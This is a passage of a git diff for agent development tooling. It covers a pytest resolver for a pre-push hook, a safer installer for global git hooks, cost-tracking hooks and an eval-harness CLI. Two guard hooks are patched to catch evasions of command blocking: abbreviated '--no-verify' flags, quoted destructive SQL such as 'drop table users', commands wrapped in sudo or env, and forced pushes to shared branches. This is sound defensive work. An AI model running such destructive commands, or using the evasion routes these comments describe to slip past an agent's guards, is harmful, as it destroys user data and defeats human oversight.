Measured: a committed pytest.py ran during the probe. Isolation does not +# hide a real pytest, which lives in the interpreter's own site-packages. +resolve_pytest() { + # `${VAR+set}` rather than `-n "${VAR:-}"`, so that a variable set to nothing is + # still an override: `ECC_PYTEST_CMD=` and `ECC_PYTEST_CMD=" "` now behave + # alike, where the first used to fall through to discovery and the second failed + # the push. Falling through is the wrong half of that pair -- an override that + # evaluated empty (a command substitution that found nothing, say) would silently + # run a different runner than the operator asked for, which is the substitution + # this resolver refuses to make anywhere else. + # + # Not `[[ -v ECC_PYTEST_CMD ]]`: that is bash 4.2, and a stock macOS `/bin/bash` + # is 3.2, where it is a syntax error rather than a false. This hook ships to + # whatever `env bash` finds. + if [[ -n "${ECC_PYTEST_CMD+set}" ]]; then + # Taken as given. This is a deliberate override, and the hook cannot inspect it + # without running it -- a wrapper script may ignore `--version` and run the + # suite, so probing costs a duplicate test run and then blocks the push anyway. + # Pointing this at something that is not pytest turns the gate off, and that is + # the operator's call to make, not a misconfiguration for the hook to second + # guess. Word-split, so the command names something on PATH or an interpreter + # whose path has no spaces; a venv with spaces is found by the loop below. + read -r -a PYTEST_CMD <<<"$ECC_PYTEST_CMD" || true + [[ ${#PYTEST_CMD[@]} -gt 0 ]] || fail "ECC_PYTEST_CMD is set but names no command.\ + Point it at your test runner, or unset it to fall back to discovery." + return 0 + fi + local venv + for venv in "${VIRTUAL_ENV:-}" .venv venv env; do + if [[ -n "$venv" && -x "$venv/bin/python" ]]; then + if repo_ships_interpreter "$venv/bin"; then + log "Ignoring $venv/bin/python: the repository ships it." + log " A committed virtualenv is an executable the repository controls, and" + log " this hook runs on every push in every repository." + continue + fi + if "$venv/bin/python" -I -c "import pytest" >/dev/null 2>&1; then + PYTEST_CMD=("$venv/bin/python" -m pytest) + return 0 + fi + fi + done + if [[ -f "uv.lock" ]] && command -v uv >/dev/null 2>&1; then + if uv run --no-sync python -I -c "import pytest" >/dev/null 2>&1; then + PYTEST_CMD=(uv run --no-sync pytest) + return 0 + fi + fi + if [[ -f "poetry.lock" ]] && command -v poetry >/dev/null 2>&1; then + if poetry run python -I -c "import pytest" >/dev/null 2>&1; then + PYTEST_CMD=(poetry run pytest) + return 0 + fi + fi + # `command -v` proves only that a file of that name exists on PATH. This one the + # script composed itself, so confirming it costs a harmless `pytest --version`. + if command -v pytest >/dev/null 2>&1 && is_pytest pytest; then + PYTEST_CMD=(pytest) + return 0 + fi + PYTEST_CMD=() + return 1 +} + if [[ -f "pyproject.toml" || -f "requirements.txt" ]]; then - if command -v pytest >/dev/null 2>&1; then + if resolve_pytest; then ran_any_check=1 - log "Python project detected. Running: pytest -q" - pytest -q || fail "pytest failed" + log "Python project detected. Running: ${PYTEST_CMD[*]} -q" + if [[ -n "${ECC_PYTEST_CMD+set}" ]]; then + # resolve_pytest deliberately does not verify the override is pytest, because + # probing it can run the operator's suite. What this gate can honestly do + # about a stale override is refuse to be quiet about it: a bypass announced + # on every push is not the silent gate this resolver exists to prevent. + log " via ECC_PYTEST_CMD -- the hook runs what you pointed it at, and does" + log " not check that it is pytest. Unset it to gate on the real suite." + fi + pytest_status=0 + "${PYTEST_CMD[@]}" -q || pytest_status=$? + case "$pytest_status" in + 0) ;; + # pytest reserves 5 for NO_TESTS_COLLECTED, which is not a red suite. A + # pyproject.toml that only configures ruff or black is still a Python project + # by this hook's test, and blocking those pushes would make the gate something + # people switch off. Never silent, though: a bad rootdir, testpaths or a + # conftest that fails to import also collects nothing, and swallowing that is + # the same skip-reads-like-a-pass hole this resolver exists to close. + 5) + log "pytest collected no tests (exit 5). Not gating this push." + log " If this repository is supposed to have tests, that is the bug:" + log " check rootdir, testpaths, and conftest.py import errors." + ;; + # The code is in the message because 1 (tests failed) and 4 (usage error) + # need different responses, and "pytest failed" alone cannot tell them apart. + *) fail "pytest failed (exit $pytest_status)" ;; + esac else - log "Python project detected but pytest is not installed. Skipping." + log "Python project detected but no pytest found (checked \$VIRTUAL_ENV, .venv," + log " venv, env, uv, poetry, PATH). Set ECC_PYTEST_CMD to point at it." fi fi +else + if [[ -f "go.mod" || -f "pyproject.toml" || -f "requirements.txt" ]]; then + log "Go/Python project detected but ECC_PREPUSH_RUN_CHECKS!=1; skipping test execution." + fi +fi + if [[ "$ran_any_check" -eq 0 ]]; then log "No supported checks found in this repository. Skipping." diff --git a/scripts/codex/install-global-git-hooks.sh b/scripts/codex/install-global-git-hooks.sh index ea11d8524..22702a5f5 100755 --- a/scripts/codex/install-global-git-hooks.sh +++ b/scripts/codex/install-global-git-hooks.sh @@ -41,6 +41,23 @@ log "Mode: $MODE" log "Source hooks: $SOURCE_DIR" log "Global hooks destination: $DEST_DIR" +prev_hooks_path="$(git config --global core.hooksPath || true)" +if [[ -n "$prev_hooks_path" && "$prev_hooks_path" != "$DEST_DIR" ]]; then + # SECURITY: never silently displace another tool's global hooks — that + # turns every commit/push in every repo into ECC code execution and breaks + # the user's existing security controls. Require explicit opt-in to replace. + if [[ "${ECC_FORCE_GLOBAL_HOOKS:-0}" != "1" ]]; then + log "ERROR: global core.hooksPath already set to: $prev_hooks_path" + log "Refusing to overwrite. Options:" + log " 1) Per-repo install (recommended): git config core.hooksPath \"$DEST_DIR\"" + log " 2) Force replace: ECC_FORCE_GLOBAL_HOOKS=1 $0" + log " 3) Restore afterwards: git config --global core.hooksPath \"$prev_hooks_path\"" + exit 1 + fi + log "WARNING: replacing previous global hooksPath: $prev_hooks_path (ECC_FORCE_GLOBAL_HOOKS=1)" + log "Restore with: git config --global core.hooksPath \"$prev_hooks_path\"" +fi + if [[ -d "$DEST_DIR" ]]; then log "Backing up existing hooks directory to $BACKUP_DIR" run_or_echo mkdir -p "$BACKUP_DIR" @@ -51,15 +68,8 @@ run_or_echo mkdir -p "$DEST_DIR" run_or_echo cp "$SOURCE_DIR/pre-commit" "$DEST_DIR/pre-commit" run_or_echo cp "$SOURCE_DIR/pre-push" "$DEST_DIR/pre-push" run_or_echo chmod +x "$DEST_DIR/pre-commit" "$DEST_DIR/pre-push" - -if [[ "$MODE" == "apply" ]]; then - prev_hooks_path="$(git config --global core.hooksPath || true)" - if [[ -n "$prev_hooks_path" ]]; then - log "Previous global hooksPath: $prev_hooks_path" - fi -fi run_or_echo git config --global core.hooksPath "$DEST_DIR" log "Installed ECC global git hooks." -log "Disable per repo by creating .ecc-hooks-disable in project root." -log "Temporary bypass: ECC_SKIP_PRECOMMIT=1 or ECC_SKIP_PREPUSH=1" +log "Per-repo alternative (recommended): git config core.hooksPath \"$DEST_DIR\"" +log "Temporary bypass (audible): ECC_SKIP_GIT_HOOKS=1 (logs a warning to stderr)" diff --git a/scripts/control-pane.js b/scripts/control-pane.js index c5b7215f4..e5234d9c2 100755 --- a/scripts/control-pane.js +++ b/scripts/control-pane.js @@ -10,16 +10,14 @@ const { } = require('./lib/control-pane/server'); const { describeMissingDependencyError } = require('./lib/missing-dependency'); +// openBrowser is now in scripts/lib/platform-launch.js — keep a thin wrapper +// for backwards compatibility, but surface the structured result. +const { openBrowser: launchOpenBrowser } = require('./lib/platform-launch'); function openBrowser(url) { - if (process.platform !== 'darwin') return; - const child = spawn('open', [url], { - stdio: 'ignore', - detached: true, - }); - child.on('error', error => { - console.error(`[control-pane] failed to open browser: ${error.message}`); - }); - child.unref(); + const result = launchOpenBrowser(url); + if (!result.opened) { + console.error(`[control-pane] failed to open browser: ${result.reason}`); + } } async function main(argv = process.argv) { diff --git a/scripts/coordination-inventory.js b/scripts/coordination-inventory.js new file mode 100644 index 000000000..ec655df1f --- /dev/null +++ b/scripts/coordination-inventory.js @@ -0,0 +1,33 @@ +#!/usr/bin/env node +'use strict'; +const { normalizeManifest, buildInventory, collectResources, collectTaskFiles, readJson } = require('./lib/coordination-inventory'); + +function main(argv = process.argv.slice(2)) { + if (argv.length === 1 && ['--help', '-h'].includes(argv[0])) { + process.stdout.write('Usage: node scripts/coordination-inventory.js [--manifest file.json] [--coordination directory] [--live] [--now ISO-UTC]\nRead-only JSON inventory. Live probes only OS memory and declared PIDs. No processes are executed from input.\n'); + return; + } + const options = {}; + for (let i = 0; i < argv.length; i += 1) { + const flag = argv[i]; + if (flag === '--live' && !options.live) options.live = true; + else if (['--manifest', '--coordination', '--now'].includes(flag) && !options[flag.slice(2)] && argv[i+1] && !argv[i+1].startsWith('--')) options[flag.slice(2)] = argv[++i]; + else throw new Error('Invalid inventory arguments. Use --help.'); + } + let manifest = options.manifest ? readJson(options.manifest) : { version: 1, tasks: [], repositories: [], leases: [] }; + let discovery = null; + if (options.coordination) { + discovery = collectTaskFiles(options.coordination); + // Duplicate IDs are rejected; never silently replace declared ownership. + manifest = { ...manifest, tasks: [...(manifest.tasks || []), ...discovery.tasks] }; + } + const normalized = normalizeManifest(manifest); + const resources = options.live ? collectResources(normalized.tasks) : undefined; + const report = buildInventory(manifest, { now: options.now, resources }); + if (discovery) report.discovery = { status: discovery.status, unreadable: discovery.unreadable }; + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); +} +if (require.main === module) { + try { main(); } catch { process.stderr.write('Inventory failed: invalid arguments or unreadable/invalid input. Use --help.\n'); process.exitCode = 1; } +} +module.exports = { main }; diff --git a/scripts/dashboard-web.js b/scripts/dashboard-web.js index 044a20fd7..5524853bd 100644 --- a/scripts/dashboard-web.js +++ b/scripts/dashboard-web.js @@ -19,6 +19,7 @@ const { isAllowedOrigin, } = require('./lib/loopback-guard'); const { normalizeAgentTools } = require('./lib/agent-tools'); +const { readHooksConfig } = require('./lib/hooks-config'); const DEFAULT_HOST = '127.0.0.1'; @@ -129,7 +130,9 @@ function loadHooks(_root) { const hooksPath = path.join(root, 'hooks', 'hooks.json'); if (!fs.existsSync(hooksPath)) return []; try { - const data = JSON.parse(fs.readFileSync(hooksPath, 'utf8')); + // Ids and descriptions live in hooks/hooks.metadata.json so that hooks.json + // stays within the key set Claude Code's hooks schema accepts. + const data = readHooksConfig(hooksPath); const hooks = []; for (const [eventName, entries] of Object.entries(data.hooks || {})) { for (const entry of entries || []) { diff --git a/scripts/eval-harness.js b/scripts/eval-harness.js new file mode 100644 index 000000000..ccf17b19b --- /dev/null +++ b/scripts/eval-harness.js @@ -0,0 +1,155 @@ +#!/usr/bin/env node +'use strict'; + +/** + * ECC eval-harness CLI. + * + * node scripts/eval-harness.js capsule verify + * node scripts/eval-harness.js capsule project + * node scripts/eval-harness.js capsule export + * node scripts/eval-harness.js capsule group [ ...] + * node scripts/eval-harness.js gate run [--work-dir ] [--capsule ] + * node scripts/eval-harness.js receipt build [--artifact ] [--gate ] [--out ] + * node scripts/eval-harness.js receipt verify [--artifact ] [--gate ] + * node scripts/eval-harness.js example + * + * Gate execution is unavailable: gate.isolation_required (exit 1). + * Exit codes: 0 verified, 1 failed verification or unavailable, 2 usage error. + */ + +const fs = require('fs'); +const path = require('path'); +const { spawnSync } = require('child_process'); + +const harness = require('./lib/eval-harness'); + +function usage(message) { + if (message) { + process.stderr.write(`eval-harness: ${message}\n`); + } + const header = fs.readFileSync(__filename, 'utf8').split('\n').slice(3, 16).map((line) => line.replace(/^ \*\s?/, '')).join('\n'); + process.stderr.write(`${header}\n`); + process.exit(2); +} + +function flag(args, name) { + const indices = args.flatMap((value, index) => value === name ? [index] : []); + for (const index of indices) { + const value = args[index + 1]; + if (!value || value.startsWith('--')) usage(`${name} needs a value`); + } + if (indices.length > 1) usage(`${name} may only be supplied once`); + return indices.length ? args[indices[0] + 1] : undefined; +} + +function print(value) { + process.stdout.write(JSON.stringify(value, null, 2) + '\n'); +} + +function readJson(filePath) { + return JSON.parse(fs.readFileSync(path.resolve(filePath), 'utf8')); +} + +function runExample(action) { + const script = path.join(__dirname, '..', 'examples', 'eval-harness', 'run-example.js'); + const result = spawnSync(process.execPath, [script, ...(action ? [action] : [])], { stdio: 'inherit' }); + if (result.error) { + // OS errors may contain command arguments or private paths. Report only + // this stable diagnostic, never the child error object or its message. + process.stderr.write('eval-harness: example.spawn_failed: unable to start example process\n'); + process.exit(1); + } + process.exit(result.status === null ? 1 : result.status); +} + +function runCapsule(action, rest) { + const dir = rest[0]; + if (!dir) usage('capsule commands need a capsule directory'); + if (action === 'group') { + if (rest.length > harness.retrospective.MAX_INPUTS || rest.some(arg => !arg.trim() || arg.startsWith('--'))) { + usage(`capsule group needs 1 to ${harness.retrospective.MAX_INPUTS} directory paths and accepts no flags`); + } + print(harness.retrospective.groupCapsules(rest)); + return; + } + if (action === 'verify') { + const result = harness.capsule.verify(dir); + print(result); + process.exit(result.ok ? 0 : 1); + } + if (action === 'project') { + print(harness.capsule.writeProjection(dir)); + return; + } + if (action === 'export') { + if (!rest[1]) usage('capsule export needs an output directory'); + print(harness.capsule.exportBundle(dir, rest[1])); + return; + } + usage(`unknown capsule action ${action}`); +} + +function runGate(action, rest) { + if (action !== 'run' || !rest[0]) usage('gate run needs a config path'); + // Refuse before reading a config or creating/opening a capsule. + harness.gate.requireSupportedIsolation(); +} + +function receiptOptions(rest) { + // Validate every value option before any file read or producer write. + return { + artifact: flag(rest, '--artifact'), + gate: flag(rest, '--gate'), + out: flag(rest, '--out'), + }; +} + +function buildReceipt(rest, options) { + const dir = rest[0]; + if (!dir) usage('receipt build needs a capsule directory'); + const receipt = harness.receipt.buildReceipt(dir, { + artifact_path: options.artifact, + gate_receipt: options.gate ? readJson(options.gate) : undefined, + }); + if (options.out) harness.receipt.writeReceipt(receipt, options.out); + print(receipt); +} + +function verifyReceipt(rest, options) { + const [receiptPath, dir] = rest; + if (!receiptPath || !dir) usage('receipt verify needs a receipt path and a capsule directory'); + const result = harness.receipt.verifyReceipt(readJson(receiptPath), dir, { + artifact_path: options.artifact, + gate_receipt: options.gate ? readJson(options.gate) : undefined, + }); + print(result); + process.exit(result.ok ? 0 : 1); +} + +function runReceipt(action, rest) { + const options = receiptOptions(rest); + if (action === 'build') return buildReceipt(rest, options); + if (action === 'verify') return verifyReceipt(rest, options); + usage(`unknown receipt action ${action}`); +} + +function main(argv) { + const [group, action, ...rest] = argv; + if (!group) usage(); + if (group === 'example') return runExample(action); + if (group === 'capsule') return runCapsule(action, rest); + if (group === 'gate') return runGate(action, rest); + if (group === 'receipt') return runReceipt(action, rest); + usage(`unknown command ${group}`); +} + +if (require.main === module) { + try { + main(process.argv.slice(2)); + } catch (error) { + process.stderr.write(`eval-harness: ${error.code ? `${error.code}: ` : ''}${error.message}\n`); + process.exit(1); + } +} + +module.exports = { main }; diff --git a/scripts/hooks/block-no-verify.js b/scripts/hooks/block-no-verify.js index ecd29100c..16e0044d7 100644 --- a/scripts/hooks/block-no-verify.js +++ b/scripts/hooks/block-no-verify.js @@ -78,6 +78,10 @@ const COMMIT_OPTIONS_WITH_INLINE_VALUE = [ // must stop at this character — anything after it is the inline value, // not another flag. const COMMIT_SHORT_OPTIONS_WITH_VALUE = new Set(['m', 'F', 'C', 'c', 't']); +// Short options whose value is OPTIONAL and must be stuck to the flag +// (`-uno`, `-S`). The rest of the cluster is that value, so an `n` +// after them is not the -n flag: `git commit -uno` means --untracked-files=no. +const COMMIT_SHORT_OPTIONS_WITH_OPTIONAL_VALUE = new Set(['u', 'S']); function tokenizeShellWords(input, start = 0, end = input.length) { const tokens = []; @@ -264,6 +268,7 @@ function isCommitNoVerifyShortFlag(value) { const option = options.charAt(i); if (option === 'n') return true; if (COMMIT_SHORT_OPTIONS_WITH_VALUE.has(option)) return false; + if (COMMIT_SHORT_OPTIONS_WITH_OPTIONAL_VALUE.has(option)) return false; } return false; @@ -388,6 +393,16 @@ function detectGitCommand(input, start = 0) { return null; } +/** + * git's option parser accepts any unambiguous prefix of a long option, so + * `--no-veri` and `--no-verif` run as --no-verify. Shorter prefixes such as + * `--no-ver` are ambiguous with --no-verbose and git rejects them itself, so + * refusing every prefix from `--no-v` up blocks nothing that would have run. + */ +function isNoVerifyLongFlag(value) { + return value.length >= '--no-v'.length && '--no-verify'.startsWith(value); +} + /** * Check if the input contains a --no-verify flag for a specific git command. * Only inspects the portion of the input starting at `offset` (the position @@ -422,7 +437,7 @@ function hasNoVerifyFlag(input, command, offset) { } } - if (value === '--no-verify') return true; + if (isNoVerifyLongFlag(value)) return true; // For commit, -n is shorthand for --no-verify. if (command === 'commit' && isCommitNoVerifyShortFlag(value)) { diff --git a/scripts/hooks/cost-tracker.js b/scripts/hooks/cost-tracker.js index 981f67619..cf36168b1 100755 --- a/scripts/hooks/cost-tracker.js +++ b/scripts/hooks/cost-tracker.js @@ -4,7 +4,9 @@ * * Reads transcript_path from Stop hook stdin, sums usage across all * assistant turns in the session JSONL, and appends one row to - * ~/.claude/metrics/costs.jsonl. + * ~/.claude/metrics/costs.jsonl. It also atomically publishes the latest + * cumulative row under metrics/cost-snapshots/ so frequent PostToolUse + * hooks do not need to rescan the unbounded history. * * Stop hook stdin payload: { session_id, transcript_path, cwd, hook_event_name, ... } * The Stop payload does NOT include `usage` or `model` directly. The previous @@ -40,8 +42,12 @@ const fs = require('fs'); const os = require('os'); const path = require('path'); -const { ensureDir, appendFile, getClaudeDir } = require('../lib/utils'); +const { ensureDir, getClaudeDir } = require('../lib/utils'); const { sanitizeSessionId } = require('../lib/session-bridge'); +const { + appendSessionCostRow, + warnSessionCostSnapshotFailure +} = require('../lib/session-cost-snapshot'); const HARNESS_COST_MAX_AGE_SECONDS = 300; @@ -103,7 +109,17 @@ function isSonnet5(model) { function toNumber(v) { const n = Number(v); - return Number.isFinite(n) ? n : 0; + return Number.isFinite(n) && n >= 0 ? n : 0; +} + +function normalizeUsageTotals(totals) { + return { + inputTokens: toNumber(totals.inputTokens), + outputTokens: toNumber(totals.outputTokens), + cacheWriteTokens: toNumber(totals.cacheWriteTokens), + cacheReadTokens: toNumber(totals.cacheReadTokens), + model: totals.model + }; } /** @@ -161,7 +177,9 @@ function sumUsageFromTranscript(transcriptPath) { cacheReadTokens += toNumber(u.cache_read_input_tokens); } - return { inputTokens, outputTokens, cacheWriteTokens, cacheReadTokens, model }; + return normalizeUsageTotals({ + inputTokens, outputTokens, cacheWriteTokens, cacheReadTokens, model + }); } // 1MB, matching the other Stop hooks. The Stop payload carries @@ -242,7 +260,11 @@ process.stdin.on('end', () => { estimated_cost_usd: estimatedCostUsd }; - appendFile(path.join(metricsDir, 'costs.jsonl'), `${JSON.stringify(row)}\n`); + try { + appendSessionCostRow(metricsDir, sessionId, row); + } catch (error) { + warnSessionCostSnapshotFailure('publication', metricsDir, sessionId, error); + } } catch { // Non-blocking — never fail the Stop hook. } diff --git a/scripts/hooks/ecc-metrics-bridge.js b/scripts/hooks/ecc-metrics-bridge.js index cbecd4536..31ecad948 100644 --- a/scripts/hooks/ecc-metrics-bridge.js +++ b/scripts/hooks/ecc-metrics-bridge.js @@ -14,6 +14,10 @@ const fs = require('fs'); const os = require('os'); const path = require('path'); const { sanitizeSessionId, readBridge, writeBridgeAtomic } = require('../lib/session-bridge'); +const { + readSessionCostSnapshot, + warnSessionCostSnapshotFailure +} = require('../lib/session-cost-snapshot'); const { getClaudeDir } = require('../lib/utils'); const MAX_STDIN = 1024 * 1024; @@ -22,11 +26,6 @@ const RECENT_TOOLS_SIZE = 5; const HASH_INPUT_LIMIT = 2048; const WARNING_CACHE_PREFIX = 'ecc-metrics-cost-warnings-'; -function toNumber(value) { - const n = Number(value); - return Number.isFinite(n) ? n : 0; -} - function stableStringify(value, depth = 0) { if (depth > 4) return '[depth-limit]'; if (value === null || typeof value !== 'object') return JSON.stringify(value); @@ -134,60 +133,51 @@ function writeCostWarningIfChanged(kind, costsPath, signature, message) { } /** - * Read cumulative cost for a session from costs.jsonl. + * Read cumulative cost for a session. * - * Scans the full file because each row is a cumulative session total - * (see cost-tracker.js docblock) and the row we need is the last one - * matching `sessionId`. The previous implementation read only the - * trailing 8 KiB; any session whose latest cumulative row was pushed - * past that window by newer rows from other sessions silently dropped - * to zero — the opposite sign of the double-count bug fixed in the - * previous commit. + * The Stop hook publishes an atomic per-session cursor snapshot, so a stable + * PostToolUse path reads O(1) metadata and newly appended data is O(delta) + * instead of reparsing unbounded history. + * Older ECC installations and damaged/missing snapshots remain compatible: + * they fall back to scanning costs.jsonl for the last cumulative row. * - * costs.jsonl is append-only and unbounded today (no rotation in - * cost-tracker.js). At a typical ~150 bytes per row, even 100k rows - * is ~15 MB and a single sync read on every PostToolUse hook is in - * the low milliseconds. If rotation lands later, this scan becomes - * even cheaper. + * The fallback deliberately scans the whole file. A fixed tail window loses + * sessions whose newest row has been pushed back by other sessions. */ function readSessionCost(sessionId) { let costsPath = path.join('metrics', 'costs.jsonl'); try { - costsPath = path.join(getClaudeDir(), 'metrics', 'costs.jsonl'); - const content = fs.readFileSync(costsPath, 'utf8'); - const lines = content.split('\n').filter(Boolean); - - let totalCost = 0; - let totalIn = 0; - let totalOut = 0; - let malformed = 0; - const malformedHasher = crypto.createHash('sha256'); - for (const line of lines) { - try { - const row = JSON.parse(line); - if (row.session_id === sessionId) { - totalCost = toNumber(row.estimated_cost_usd); - totalIn = toNumber(row.input_tokens); - totalOut = toNumber(row.output_tokens); - } - } catch { - malformed += 1; - malformedHasher.update(line).update('\0'); - } - } - // One aggregated breadcrumb per call rather than one per bad row, so a - // log-flooded costs.jsonl stays diagnosable without overwhelming stderr. - // Suppress repeats for the same malformed-line signature across hook - // subprocesses, so a persistent bad row should not spam stderr. - if (malformed > 0) { + const metricsDir = path.join(getClaudeDir(), 'metrics'); + costsPath = path.join(metricsDir, 'costs.jsonl'); + const snapshotResult = readSessionCostSnapshot(metricsDir, sessionId); + if (snapshotResult.malformed > 0) { writeCostWarningIfChanged( 'malformed', costsPath, - `${malformed}:${malformedHasher.digest('hex').slice(0, 16)}`, - `[ecc-metrics-bridge] skipped ${malformed} malformed line(s) in ${costsPath}\n` + `${snapshotResult.malformed}:${snapshotResult.malformedSignature}`, + `[ecc-metrics-bridge] skipped ${snapshotResult.malformed} malformed line(s) during the snapshot scan of ${costsPath}\n` ); } - return { totalCost, totalIn, totalOut }; + if (snapshotResult.invalid > 0) { + writeCostWarningIfChanged( + 'invalid-row', + costsPath, + `${snapshotResult.invalid}:${snapshotResult.invalidSignature}`, + `[ecc-metrics-bridge] skipped ${snapshotResult.invalid} invalid cumulative row(s) for ${sessionId} during the snapshot scan of ${costsPath}\n` + ); + } + if (snapshotResult.snapshotError) { + warnSessionCostSnapshotFailure( + 'repair', + metricsDir, + sessionId, + snapshotResult.snapshotError + ); + } + const row = snapshotResult.row; + return row + ? { totalCost: row.estimated_cost_usd, totalIn: row.input_tokens, totalOut: row.output_tokens } + : { totalCost: 0, totalIn: 0, totalOut: 0 }; } catch (err) { // ENOENT is the common case (no Stop event has fired yet this session) // and is not actually a failure — stay silent on it. Anything else @@ -259,7 +249,7 @@ function run(rawInput) { if (recent.length > RECENT_TOOLS_SIZE) recent.shift(); bridge.recent_tools = recent; - // Update cost from costs.jsonl tail + // Use the O(1) session snapshot, with JSONL compatibility fallback. const costs = readSessionCost(sessionId); bridge.total_cost_usd = Math.round(costs.totalCost * 1e6) / 1e6; bridge.total_input_tokens = costs.totalIn; diff --git a/scripts/hooks/gateguard-fact-force.js b/scripts/hooks/gateguard-fact-force.js index bfd2b11c6..6756a0b79 100644 --- a/scripts/hooks/gateguard-fact-force.js +++ b/scripts/hooks/gateguard-fact-force.js @@ -359,6 +359,155 @@ function quoteAwareSegments(input) { const SHELL_WRAPPERS = new Set(['sh', 'bash', 'zsh', 'dash', 'ksh']); +/** + * SQL clients whose `-c`/`-e`/positional arguments carry SQL statements. + * Quoted SQL (e.g. `psql -c "drop table users"`) is invisible to the + * quote-stripping SQL regex, so it is re-checked here against dequoted + * tokens where quoted content is preserved (issue #3024). Restricted to + * known clients so `git commit -m "drop table"` and `echo "drop table"` + * stay allowed. + */ +const SQL_CLIENT_COMMANDS = new Set([ + 'psql', + 'postgres', + 'mysql', + 'mariadb', + 'sqlite3', + 'sqlite', + 'sqlcmd', + 'isql', + 'pgcli', + 'mycli', + 'duckdb', + 'bq', +]); + +/** + * Strip SQL string literals so phrases inside query data do not trigger + * the destructive detector (e.g. `SELECT 'drop table' ...` is a read). + * Handles single-quoted literals with '' escapes, double-quoted + * identifiers, and dollar-quoted blocks ($$...$$ and $tag$...$tag$). + * + * @param {string} input + * @returns {string} + */ +function stripSqlLiterals(input) { + return String(input || '') + .replace(/'(?:[^']|'')*'/g, "''") + .replace(/"(?:[^"\\]|\\.)*"/g, '""') + .replace(/(\$[A-Za-z_][A-Za-z0-9_]*\$|\$\$)[\s\S]*?\1/g, '$$$$'); +} + +const SUDO_VALUE_FLAGS = new Set([ + '-u', + '--user', + '-g', + '--group', + '-U', + '--other-user', + '-p', + '--prompt', + '-C', + '--close-from', + '-D', + '--chdir', + '-h', + '--host', + '-r', + '--role', + '-t', + '--type', + '-T', + '--command-timeout', +]); + +/** + * Advance past `sudo`/`doas`/`env` wrappers including their flags and + * `VAR=value` assignments, so `sudo -u postgres psql ...` and + * `env PGUSER=postgres psql ...` still resolve to the real command. + * + * @param {string[]} tokens dequoted tokens for one segment + * @returns {number} index of the real command token + */ +function unwrapLeadWrappers(tokens) { + let index = 0; + for (let guard = 0; guard < 4; guard += 1) { + if (index >= tokens.length) return index; + const base = commandBasename(tokens[index]); + if (base === 'sudo' || base === 'doas') { + index += 1; + while (index < tokens.length) { + const flag = tokens[index]; + if (flag === '--') { + index += 1; + break; + } + if (flag === '-' || !flag.startsWith('-')) break; + if (SUDO_VALUE_FLAGS.has(flag)) { + index += 2; + continue; + } + if (/^--[^=]+=.*$/.test(flag)) { + index += 1; + continue; + } + index += 1; + } + continue; + } + if (base === 'env') { + index += 1; + while (index < tokens.length) { + const arg = tokens[index]; + if (arg === '--' || arg === '-' || arg === '-i' || arg === '--ignore-environment') { + index += 1; + continue; + } + if (arg === '-u' || arg === '--unset') { + index += 2; + continue; + } + if (arg === '-C' || arg === '--chdir') { + index += 2; + continue; + } + if (/^--unset=.*$/.test(arg) || /^--chdir=.*$/.test(arg) || /^--argv0=.*$/.test(arg)) { + index += 1; + continue; + } + if (arg.startsWith('-') && !/^[A-Za-z_][A-Za-z0-9_]*=/.test(arg)) { + index += 1; + continue; + } + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(arg)) { + index += 1; + continue; + } + break; + } + continue; + } + break; + } + return index; +} + +/** + * Detect destructive SQL passed as (possibly quoted) arguments to a known + * SQL client. Operates on dequoted tokens from `quoteAwareSegments`, so + * `psql -c "drop table users"` joins back to matchable text. + * + * @param {string[]} tokens dequoted tokens for one segment + * @returns {boolean} + */ +function isDestructiveSqlClient(tokens) { + if (!tokens || tokens.length === 0) return false; + const start = unwrapLeadWrappers(tokens); + if (start >= tokens.length) return false; + if (!SQL_CLIENT_COMMANDS.has(commandBasename(tokens[start]))) return false; + return DESTRUCTIVE_SQL_DD.test(stripSqlLiterals(tokens.slice(start).join(' '))); +} + /** * Quote-aware destructive check: catches quoted command words, newline * separators, quoted `find -exec`, and `sh -c`/`bash -c` wrappers that evade @@ -374,10 +523,12 @@ function isDestructiveQuoteAware(raw, depth = 0) { if (tokens.length === 0) continue; if (isDestructiveRm(tokens)) return true; if (isDestructiveGit(tokens)) return true; + if (isDestructiveSqlClient(tokens)) return true; if (isDestructiveFindExec(tokens.join(' '))) return true; - const base = commandBasename(tokens[0]); + const wi = unwrapLeadWrappers(tokens); + const base = wi < tokens.length ? commandBasename(tokens[wi]) : ''; if (SHELL_WRAPPERS.has(base)) { - const ci = tokens.indexOf('-c'); + const ci = tokens.indexOf('-c', wi); if (ci !== -1 && tokens[ci + 1] && isDestructiveQuoteAware(tokens[ci + 1], depth + 1)) { return true; } @@ -462,10 +613,65 @@ function findGitSubcommand(tokens) { return null; } +/** + * Branch names treated as shared history: a forced update of one of + * these rewrites commits other clones build on, even when the push is + * lease-checked. + */ +const SHARED_GIT_BRANCHES = new Set(['main', 'master', 'develop', 'trunk']); + +/** + * Decide whether the positional arguments of a `git push` name a shared + * branch as the destination of a refspec. The first positional token is + * the remote (unless the remote came from `--repo`); every later + * positional token is a refspec whose destination is the part after + * `:` (or the whole token when there is no `:`). A leading `+` force + * marker is stripped. When no refspec is given the target is the + * current branch, which the hook cannot know, so this returns false. + * + * @param {string[]} rest tokens after `push` + * @returns {boolean} + */ +function pushTargetsSharedBranch(rest) { + const valueConsuming = new Set(['-o', '--push-option', '--receive-pack', '--exec']); + const positional = []; + let remoteViaFlag = false; + for (let i = 0; i < rest.length; i++) { + const t = rest[i]; + if (t === '--repo') { + remoteViaFlag = true; + i += 1; + continue; + } + if (t.startsWith('--repo=')) { + remoteViaFlag = true; + continue; + } + if (valueConsuming.has(t)) { + i += 1; + continue; + } + if (t.startsWith('-')) continue; + positional.push(t); + } + // Unless the remote came from --repo, positional[0] is the remote and + // the rest are refspecs. + const refspecs = remoteViaFlag ? positional : positional.slice(1); + for (const refspec of refspecs) { + const cleaned = refspec.startsWith('+') ? refspec.slice(1) : refspec; + const dst = cleaned.includes(':') ? cleaned.slice(cleaned.indexOf(':') + 1) : cleaned; + const branch = dst.startsWith('refs/heads/') ? dst.slice('refs/heads/'.length) : dst; + if (SHARED_GIT_BRANCHES.has(branch)) return true; + } + return false; +} + /** * Detect destructive `git` invocations: `reset --hard`, `checkout --`, - * `clean -f...`, `push --force` (but not `--force-with-lease`), - * `commit --amend`, `rm -rf`. + * `clean -f...`, `push --force` (`--force-with-lease` only to a shared + * branch), `commit --amend`, `rm -rf`, `branch -D`, `stash drop` / + * `stash clear`, `reflog expire` / `reflog delete`, `update-ref -d`, + * and `restore` against the worktree. * * @param {string[]} tokens * @returns {boolean} @@ -532,7 +738,9 @@ function isDestructiveGit(tokens) { plusRefspecForce = true; } } - return bareForce || (plusRefspecForce && !withLease); + if 